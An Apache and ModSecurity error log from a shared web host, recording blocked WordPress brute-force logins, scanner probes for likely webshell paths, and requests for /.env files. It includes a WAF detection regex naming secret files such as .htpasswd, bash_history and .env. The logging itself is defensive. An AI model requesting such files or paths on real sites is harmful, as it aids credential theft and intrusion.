/home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:15.783839 2026] [access_compat:error] [pid 715691:tid 715831] [remote 57.141.14.89:60592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:15.967467 2026] [security2:error] [pid 646876:tid 647079] [client 185.199.157.16:42177] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/plugins/hello.php"] [unique_id "ai3069yTkdrNlD40tSHe7gAAAEc"] [Sat Jun 13 18:25:16.067576 2026] [security2:error] [pid 646876:tid 647016] [client 189.217.192.30:50498] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai307NyTkdrNlD40tSHe8QAAAAg"] [Sat Jun 13 18:25:16.067723 2026] [security2:error] [pid 646876:tid 647016] [client 189.217.192.30:50498] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai307NyTkdrNlD40tSHe8QAAAAg"] [Sat Jun 13 18:25:16.110707 2026] [mime:warn] [pid 646876:tid 646892] AH01602: Cannot get media parameter. [Sat Jun 13 18:25:16.115277 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:25:16.115571 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:25:16.134177 2026] [security2:error] [pid 646876:tid 646912] [remote 17.241.227.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai307NyTkdrNlD40tSHe9gAADCE"] [Sat Jun 13 18:25:16.372381 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.15:56367] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:16.372912 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.15:56367] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:16.574143 2026] [security2:error] [pid 715691:tid 715896] [client 185.199.157.16:31369] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/index/function.php"] [unique_id "ai307LV-dFiaX9AtWiQ0zAAAAUE"] [Sat Jun 13 18:25:16.678903 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:25:16.679300 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:25:16.903545 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.29:35021] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:16.904012 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.29:35021] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:16.948038 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.100:20065] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:16.948483 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.100:20065] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:17.025979 2026] [security2:error] [pid 715691:tid 715859] [client 216.73.216.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/Zend/tests/bug34893.phpt"] [unique_id "ai307bV-dFiaX9AtWiQ05QAAARw"] [Sat Jun 13 18:25:17.195918 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:25:17.196212 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:25:17.257257 2026] [security2:error] [pid 646876:tid 647132] [client 213.226.101.4:46409] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "405"] [hostname "www.clenbuterol4you.com"] [uri "/xmlrpc.php"] [unique_id "ai307dyTkdrNlD40tSHfBQAAAHw"], referer: https://www.clenbuterol4you.com/xmlrpc.php [Sat Jun 13 18:25:17.285914 2026] [security2:error] [pid 715691:tid 715779] [remote 17.22.253.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai307bV-dFiaX9AtWiQ07wABaEQ"] [Sat Jun 13 18:25:17.328764 2026] [security2:error] [pid 715691:tid 715922] [client 185.199.157.16:49601] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/log.php"] [unique_id "ai307bV-dFiaX9AtWiQ08gAAAVs"] [Sat Jun 13 18:25:17.347125 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.19:21374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:17.347405 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.19:21374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:17.451890 2026] [security2:error] [pid 646876:tid 646949] [remote 17.246.23.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai307dyTkdrNlD40tSHfDgAAWUY"] [Sat Jun 13 18:25:17.665628 2026] [security2:error] [pid 715691:tid 715880] [client 159.223.112.69:43144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai307bV-dFiaX9AtWiQ0_gAAATE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:17.667451 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:17.667772 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:17.698049 2026] [security2:error] [pid 646876:tid 646954] [remote 17.241.219.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai307dyTkdrNlD40tSHfFQAAT0s"] [Sat Jun 13 18:25:17.723647 2026] [access_compat:error] [pid 646876:tid 646884] [remote 57.141.14.18:63434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:17.724087 2026] [access_compat:error] [pid 646876:tid 646884] [remote 57.141.14.18:63434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:17.783930 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.62:36552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:17.784367 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.62:36552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:17.959936 2026] [security2:error] [pid 715691:tid 715962] [client 184.154.139.41:57596] ModSecurity: Warning. Matched phrase "SiteLockSpider" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "404"] [hostname "cgreenphotography.com"] [uri "/cgi-sys/404.html"] [unique_id "ai307bV-dFiaX9AtWiQ1DAAAAYM"] [Sat Jun 13 18:25:18.213292 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:25:18.213734 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:25:18.266666 2026] [security2:error] [pid 646876:tid 647003] [remote 17.241.227.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai307tyTkdrNlD40tSHfIQAAFXw"] [Sat Jun 13 18:25:18.299691 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.61:47838] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:18.300421 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.61:47838] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:18.535024 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.75:60636] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:18.535458 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.75:60636] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:18.828441 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.11:37255] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:18.828868 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.11:37255] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:18.858528 2026] [access_compat:error] [pid 715691:tid 715763] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:25:18.858878 2026] [access_compat:error] [pid 715691:tid 715763] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:25:18.870989 2026] [access_compat:error] [pid 715691:tid 715870] [client 185.199.157.16:28619] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/css/dist/components/index.php, referer: http://krosscorp.us/wp-includes/css/dist/components/ [Sat Jun 13 18:25:18.871861 2026] [access_compat:error] [pid 715691:tid 715870] [client 185.199.157.16:28619] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/css/dist/components/index.phtml, referer: http://krosscorp.us/wp-includes/css/dist/components/ [Sat Jun 13 18:25:18.874935 2026] [access_compat:error] [pid 715691:tid 715870] [client 185.199.157.16:28619] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/css/dist/components/index.php5, referer: http://krosscorp.us/wp-includes/css/dist/components/ [Sat Jun 13 18:25:19.134548 2026] [security2:error] [pid 715691:tid 715897] [client 34.170.189.242:16460] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "counciloftherealms.com"] [uri "/.env"] [unique_id "ai3077V-dFiaX9AtWiQ1PwAAAUI"] [Sat Jun 13 18:25:19.166773 2026] [access_compat:error] [pid 715691:tid 715808] [remote 57.141.14.71:51924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:19.167210 2026] [access_compat:error] [pid 715691:tid 715808] [remote 57.141.14.71:51924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:19.221218 2026] [security2:error] [pid 715691:tid 715952] [client 34.170.189.242:16474] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "counciloftherealms.com.nucreativesolutions.com"] [uri "/.env"] [unique_id "ai3077V-dFiaX9AtWiQ1QwAAAXk"] [Sat Jun 13 18:25:19.260622 2026] [access_compat:error] [pid 715691:tid 715828] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 